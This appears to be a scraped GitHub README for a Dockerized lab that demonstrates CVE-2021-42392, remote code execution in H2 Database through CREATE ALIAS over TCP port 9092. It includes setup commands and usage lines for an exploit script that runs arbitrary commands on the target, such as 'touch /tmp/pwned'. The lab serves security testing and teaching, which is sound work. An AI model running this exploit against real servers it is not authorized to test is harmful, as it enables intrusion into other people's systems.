be-innova/cve-2021-42392-exploit-labEducational lab demonstrating CVE-2021-42392 RCE in H2 Database via CREATE ALIAS, with Dockerized vulnerable server and Python exploit script for isolated testing.
This repository provides a minimal and controlled environment to test the H2 Database Remote Code Execution vulnerability (CVE-2021-42392) using the CREATE ALIAS feature. Unlike many demonstrations, this exploit targets the H2 TCP service directly (typically on port 9092), without relying on the H2 Web Console.
🛑 For educational and testing purposes only. Do not use on systems you don't own or have explicit permission to test.
CVE-2021-42392 is a critical vulnerability in H2 Database versions prior to 2.0.206 that allows remote code execution via CREATE ALIAS if the database is exposed over TCP or via the Web Console.
This project includes:
2.0.202jaydebeapi and JPypeWith Docker:
If running the exploit outside Docker:
git clone https://github.com/Be-Innova/CVE-2021-42392-exploit-lab
cd h2-cve-2021-42392-poc
docker compose build
docker compose up -d
docker compose exec client bash
python3 h2_exploit.py --url jdbc:h2:tcp://h2-vulnerable\:9092/~/test --cmd "touch /tmp/pwned" --jar /jars/h2.jar
python3 h2_exploit.py --url <jdbc-url> --cmd "<command>" --jar "path-to-jar"
Arguments:
--url: JDBC URL of the vulnerable H2 instance (e.g. jdbc:h2:tcp://192.168.1.100\:9092/~/test)
--cmd: Command to execute on the vulnerable server
--jar: Optional path to H2 driver JAR (default: /jars/h2.jar)
Port 9092 open of the vulnerable H2 Databasejavac compiler installed on the server running the vulnerable databaseThis code is provided as-is for educational and ethical penetration testing in isolated environments. Do not use it on unauthorized systems. The author takes no responsibility for misuse.